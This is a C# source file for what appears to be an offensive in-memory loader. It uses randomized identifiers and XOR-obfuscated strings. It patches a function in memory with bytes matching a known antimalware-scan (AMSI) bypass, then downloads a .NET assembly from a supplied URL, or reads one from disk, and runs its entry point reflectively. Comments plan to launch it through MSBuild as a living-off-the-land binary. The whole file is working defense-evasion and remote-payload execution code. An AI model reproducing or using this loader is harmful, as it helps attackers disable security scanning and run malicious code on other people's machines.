using System; using System.IO; using System.Net; using System.Text; using System.Reflection; using System.Runtime.InteropServices; //This if for MSBuild LOL bin stuff later //using Microsoft.Build.Framework; //using Microsoft.Build.Utilities; public class KnobstonePelerin{ private static WebClient OvercatchCloisteral = new WebClient() { }; [DllImport("kernel32", EntryPoint = "GetProcAddress")] private static extern IntPtr GetProcAddress(IntPtr CerithiumPollarding, string EyewinkerAlgebraization); [DllImport("kernel32", EntryPoint = "LoadLibrary")] private static extern IntPtr LoadLibrary(string SoignePassably); [DllImport("kernel32", EntryPoint = "VirtualProtect")] private static extern bool VirtualProtect(IntPtr PhyllomorphCougnar, UIntPtr SojaEdify, uint PlateaulithParoophoric, out uint ChloranthaceousPalaeolith); private static IntPtr AspideSwaird(IntPtr GreengroceriesNonceremonially) { uint JiggingHarrateen = 0; if (VirtualProtect(GreengroceriesNonceremonially, (UIntPtr)CaecalCyclopaedist().Length, 0x40, out JiggingHarrateen)) { return GreengroceriesNonceremonially; } else { return (IntPtr)0; } } private static object JiujutsuYoicks(string UnbearingPolishes, string OvigenousSemiannual) { Console.WriteLine(Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("FkQpTycwJUQ1FDosUl9H"), "MotorbikeUndreggy")) + OvigenousSemiannual); if (!string.IsNullOrEmpty(UnbearingPolishes)) Console.WriteLine(Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("EkU2Vy4dAwY4Cx0RFkxTTg=="), "InkwoodsUnseeliness")) + UnbearingPolishes); object[] ConsuetudinalCheekbone = new object[] { new string[] { UnbearingPolishes } }; if (!OvigenousSemiannual.ToLower().StartsWith(Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("MRUGFA=="), "YardmasterAstigmometer")))) return FermeShowing(DysodontiasisCommunities(OccipitoposteriorSevier(ArgentolSettable(OvigenousSemiannual))), ConsuetudinalCheekbone); return FermeShowing(DysodontiasisCommunities(OccipitoposteriorSevier(UncognizantFailings(OvigenousSemiannual))), ConsuetudinalCheekbone); } private static Assembly OccipitoposteriorSevier(byte[] NontaxesHosing) { return Assembly.Load(NontaxesHosing); } private static byte[] CaecalCyclopaedist() { if (System.Environment.Is64BitOperatingSystem) return new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; return new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; } private static object FermeShowing(MethodInfo SeponeViolining, object[] NonviviparouslySiphonogamic) { return SeponeViolining.Invoke(null, NonviviparouslySiphonogamic); } private static void DisexerciseLores() { Console.WriteLine(Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("GVM0Uw0pGAgAJA8ECU9DRj4NFSAAFBcnAA=="), "BrissotinCymbocephalous"))); Console.WriteLine(Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("Hkw/UkEtABkpARUtCwZLFxQMTj5MWQtZWhhNNyAtPCo/Oj41HSZUPjM+LjsoJDo9PDM="), "EmbracementInterlineation"))); Console.WriteLine(Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("C0Q+VTdETBBfRzhhTl1VLRkAHAI+BA9ZTAwRCgwQETJDARoWAVQgPxw6LCczOSAmIVMELwdDNDAuITgoHjEwVRgGQRAMUwcgEAZDVkkRGw4/AQYR"), "PeculiariseAccubitum"))); Console.WriteLine(Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("GEQxTzYIPzcnKCIgNSc4RG5bTCAdPQQfHAQLQkEVFwM2CAkBGTpNBB1FBQtBBAQXMEUDGQg7TQQdRSQ9CRUXFGMAAhsfMD0fGwsTThYcAApjDAIZAiIIFA=="), "CelomImpregnated"))); } private static void GeneralizePredigested() { IntPtr GreengroceriesNonceremonially = AspideSwaird(ElephantiasisSnobbily()); if (GreengroceriesNonceremonially != (IntPtr)0) { Marshal.Copy(CaecalCyclopaedist(), 0, GreengroceriesNonceremonially, CaecalCyclopaedist().Length); Console.WriteLine(Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("D14vQiYZBg0ROwoWEB4BFkQVEgANDRYXdDQ/MTxN"), "TurbulentHypermodestness"))); } else { Console.WriteLine(Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("CFUoUDkFJRYJAgcJRy00AD1VNigtHTAl"), "StupidQuakingly"))); } } private static IntPtr ElephantiasisSnobbily() { return GetProcAddress(LoadLibrary(Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("Jx8SHW8RGA0="), "FratAutarchist"))), Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("CAMaGiAWAAwuECkeHBU="), "InissuableOxygenized"))); } private static byte[] UncognizantFailings(string url) { return OvercatchCloisteral.DownloadData(url); } public static void Main(string[] args) { Console.WriteLine(Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("GVM0Uw0pGAgAJA8ECU9DRj4NFSAAFBcnAA=="), "BrissotinCymbocephalous"))); GeneralizePredigested(); ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072; try { string ScringeGumweeds = ""; string AmbitendentZadruga = ""; //The valid amount of expected input args ranges between 1 -3 if (args.Length > 0 && args.Length < 4) { //If the first arg is b64, expect the next one to be payload path, and check for payload args if ((args[0].ToLower().Equals(Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("ZEMRVUY="), "InscribesUnfraternizing"))) || args[0].ToLower().Equals(Encoding.UTF8.GetString(VernalizedGenethliac(Convert.FromBase64String("Kk9Q"), "HydrosilicateOxanilate")))) && args.Length > 2) { AmbitendentZadruga = Encoding.UTF8.GetString(Convert.FromBase64String(args[1])); ScringeGumweeds = (args.Length == 3) ? Encoding.UTF8.GetString(Convert.FromBase64String(args[2])) : ""; } else { AmbitendentZadruga = (args.Length >= 1) ? args[0] : ""; ScringeGumweeds = (args.Length >= 2) ? args[1] : ""; } } if (!string.IsNullOrWhiteSpace(AmbitendentZadruga)) JiujutsuYoicks(ScringeGumweeds, AmbitendentZadruga); else DisexerciseLores(); } catch (Exception ex) { Console.WriteLine(ex.Message); Environment.Exit(0); } } private static byte[] VernalizedGenethliac(byte[] CookoutsTribasilar, string AeginetanUnbroke) { byte[] SenlacGarpike = Encoding.UTF8.GetBytes(AeginetanUnbroke); byte[] DoppiaPlantago = new byte[CookoutsTribasilar.Length]; for (int i = 0; i < CookoutsTribasilar.Length; i++) { DoppiaPlantago[i] = (byte)(CookoutsTribasilar[i] ^ SenlacGarpike[i % SenlacGarpike.Length]); } return DoppiaPlantago; } private static MethodInfo DysodontiasisCommunities(Assembly asm) { return asm.EntryPoint; } private static byte[] ArgentolSettable(string CezannesqueUltimating) { return File.ReadAllBytes(CezannesqueUltimating); } /* //This is for MSBuild later public class ClassExample : Task, ITask { public override bool Execute() { KnobstonePelerin.Main(new string[] { }); return true; } } */ }